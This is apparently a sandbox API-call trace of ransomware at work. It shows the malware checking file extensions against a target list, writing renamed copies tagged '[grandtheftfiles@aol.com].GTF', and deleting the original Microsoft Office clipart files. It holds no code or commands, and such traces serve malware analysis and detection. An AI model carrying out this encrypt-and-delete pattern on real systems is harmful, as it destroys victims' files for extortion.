	[0179.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.671] lstrlenW (lpString=".zip") returned 4
	[0179.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.671] lstrlenW (lpString=".rar") returned 4
	[0179.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.671] lstrlenW (lpString=".bz2") returned 4
	[0179.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.671] lstrlenW (lpString=".7z") returned 3
	[0179.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.671] lstrlenW (lpString=".dbf") returned 4
	[0179.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.671] lstrlenW (lpString=".1cd") returned 4
	[0179.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0158477.WMF") returned 68
	[0179.671] lstrlenW (lpString=".jpg") returned 4
	[0179.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.671] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.671] lstrlenW (lpString="J0171685.WMF") returned 12
	[0179.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0179.716] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=14472) returned 1
	[0179.716] CloseHandle (hObject=0x54c) returned 1
	[0179.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 0x220
	[0179.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.733] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.733] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.749] GetLastError () returned 0x0
	[0179.749] ReadFile (in: hFile=0x378, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3888, lpOverlapped=0x0) returned 1
	[0179.752] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3890, lpOverlapped=0x0) returned 1
	[0179.753] ReadFile (in: hFile=0x378, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.753] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.753] SetEndOfFile (hFile=0x540) returned 1
	[0179.753] CloseHandle (hObject=0x540) returned 1
	[0179.753] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.753] SetEndOfFile (hFile=0x378) returned 1
	[0179.756] CloseHandle (hObject=0x378) returned 1
	[0179.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 1
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.995] lstrlenW (lpString=".doc") returned 4
	[0179.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString=".docx") returned 5
	[0179.995] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0179.995] lstrlenW (lpString=".pdf") returned 4
	[0179.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString=".xls") returned 4
	[0179.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.995] lstrlenW (lpString=".xlsx") returned 5
	[0179.995] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0179.995] lstrlenW (lpString=".ppt") returned 4
	[0179.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.995] lstrlenW (lpString=".zip") returned 4
	[0179.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.996] lstrlenW (lpString=".rar") returned 4
	[0179.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString=".bz2") returned 4
	[0179.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString=".7z") returned 3
	[0179.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.996] lstrlenW (lpString=".dbf") returned 4
	[0179.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.996] lstrlenW (lpString=".1cd") returned 4
	[0179.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.996] lstrlenW (lpString=".jpg") returned 4
	[0179.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.996] lstrlenW (lpString=".doc") returned 4
	[0179.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString=".docx") returned 5
	[0179.996] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0179.996] lstrlenW (lpString=".pdf") returned 4
	[0179.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString=".xls") returned 4
	[0179.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.996] lstrlenW (lpString=".xlsx") returned 5
	[0179.996] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0179.996] lstrlenW (lpString=".ppt") returned 4
	[0179.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.996] lstrlenW (lpString=".zip") returned 4
	[0179.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.996] lstrlenW (lpString=".rar") returned 4
	[0179.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.996] lstrlenW (lpString=".bz2") returned 4
	[0179.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.997] lstrlenW (lpString=".7z") returned 3
	[0179.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.997] lstrlenW (lpString=".dbf") returned 4
	[0179.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.997] lstrlenW (lpString=".1cd") returned 4
	[0179.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF") returned 68
	[0179.997] lstrlenW (lpString=".jpg") returned 4
	[0179.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.997] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.997] lstrlenW (lpString="J0174639.WMF") returned 12
	[0179.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0180.233] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5100) returned 1
	[0180.233] CloseHandle (hObject=0x560) returned 1
	[0180.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 0x220
	[0180.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0181.146] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.157] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.320] GetLastError () returned 0x0
	[0181.320] ReadFile (in: hFile=0x55c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x13ec, lpOverlapped=0x0) returned 1
	[0181.339] WriteFile (in: hFile=0x3dc, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x13f0, lpOverlapped=0x0) returned 1
	[0181.340] ReadFile (in: hFile=0x55c, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.340] WriteFile (in: hFile=0x3dc, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.340] SetEndOfFile (hFile=0x3dc) returned 1
	[0181.340] CloseHandle (hObject=0x3dc) returned 1
	[0181.342] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.342] SetEndOfFile (hFile=0x55c) returned 1
	[0181.345] CloseHandle (hObject=0x55c) returned 1
	[0181.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 1
	[0181.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.677] lstrlenW (lpString=".doc") returned 4
	[0181.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.677] lstrlenW (lpString=".docx") returned 5
	[0181.677] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0181.677] lstrlenW (lpString=".pdf") returned 4
	[0181.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.677] lstrlenW (lpString=".xls") returned 4
	[0181.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.677] lstrlenW (lpString=".xlsx") returned 5
	[0181.677] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0181.677] lstrlenW (lpString=".ppt") returned 4
	[0181.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.677] lstrlenW (lpString=".zip") returned 4
	[0181.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.677] lstrlenW (lpString=".rar") returned 4
	[0181.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.677] lstrlenW (lpString=".bz2") returned 4
	[0181.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.677] lstrlenW (lpString=".7z") returned 3
	[0181.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.677] lstrlenW (lpString=".dbf") returned 4
	[0181.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.677] lstrlenW (lpString=".1cd") returned 4
	[0181.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.678] lstrlenW (lpString=".jpg") returned 4
	[0181.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.678] lstrlenW (lpString=".doc") returned 4
	[0181.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0181.678] lstrlenW (lpString=".docx") returned 5
	[0181.678] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0181.678] lstrlenW (lpString=".pdf") returned 4
	[0181.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0181.680] lstrlenW (lpString=".xls") returned 4
	[0181.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0181.680] lstrlenW (lpString=".xlsx") returned 5
	[0181.680] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0181.680] lstrlenW (lpString=".ppt") returned 4
	[0181.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0181.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.680] lstrlenW (lpString=".zip") returned 4
	[0181.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0181.680] lstrlenW (lpString=".rar") returned 4
	[0181.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0181.680] lstrlenW (lpString=".bz2") returned 4
	[0181.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0181.681] lstrlenW (lpString=".7z") returned 3
	[0181.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.681] lstrlenW (lpString=".dbf") returned 4
	[0181.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.681] lstrlenW (lpString=".1cd") returned 4
	[0181.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0181.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68
	[0181.681] lstrlenW (lpString=".jpg") returned 4
	[0181.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0181.681] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0181.681] lstrlenW (lpString="J0178932.JPG") returned 12
	[0181.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.705] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=35340) returned 1
	[0181.705] CloseHandle (hObject=0x548) returned 1
	[0181.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 0x220
	[0181.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.710] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.710] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0181.711] GetLastError () returned 0x0
	[0181.711] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x8a0c, lpOverlapped=0x0) returned 1
	[0181.713] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x8a10, lpOverlapped=0x0) returned 1
	[0181.715] ReadFile (in: hFile=0x548, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.715] WriteFile (in: hFile=0x540, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0181.715] SetEndOfFile (hFile=0x540) returned 1
	[0181.715] CloseHandle (hObject=0x540) returned 1
	[0181.715] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.715] SetEndOfFile (hFile=0x548) returned 1
	[0181.718] CloseHandle (hObject=0x548) returned 1
	[0181.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 1
	[0181.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.719] lstrlenW (lpString=".doc") returned 4
	[0181.719] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.719] lstrlenW (lpString=".docx") returned 5
	[0181.719] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0181.719] lstrlenW (lpString=".pdf") returned 4
	[0181.720] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.720] lstrlenW (lpString=".xls") returned 4
	[0181.720] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.720] lstrlenW (lpString=".xlsx") returned 5
	[0181.720] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0181.720] lstrlenW (lpString=".ppt") returned 4
	[0181.720] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.720] lstrlenW (lpString=".zip") returned 4
	[0181.720] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.720] lstrlenW (lpString=".rar") returned 4
	[0181.720] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.720] lstrlenW (lpString=".bz2") returned 4
	[0181.720] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.720] lstrlenW (lpString=".7z") returned 3
	[0181.720] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.720] lstrlenW (lpString=".dbf") returned 4
	[0181.720] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.720] lstrlenW (lpString=".1cd") returned 4
	[0181.720] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.720] lstrlenW (lpString=".jpg") returned 4
	[0181.720] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68
	[0181.720] lstrlenW (lpString=".doc") returned 4
	[0181.721] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.721] lstrlenW (lpString=".docx") returned 5
	[0181.721] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0181.721] lstrlenW (lpString=".pdf") returned 4
	[0181.721] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.721] lstrlenW (lpString=".xls") returned 4
	[0181.721] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.721] lstrlenW (lpString=".xlsx") returned 5
	[0181.721] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0181.721] lstrlenW (lpString=".ppt") returned 4
	[0181.721] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
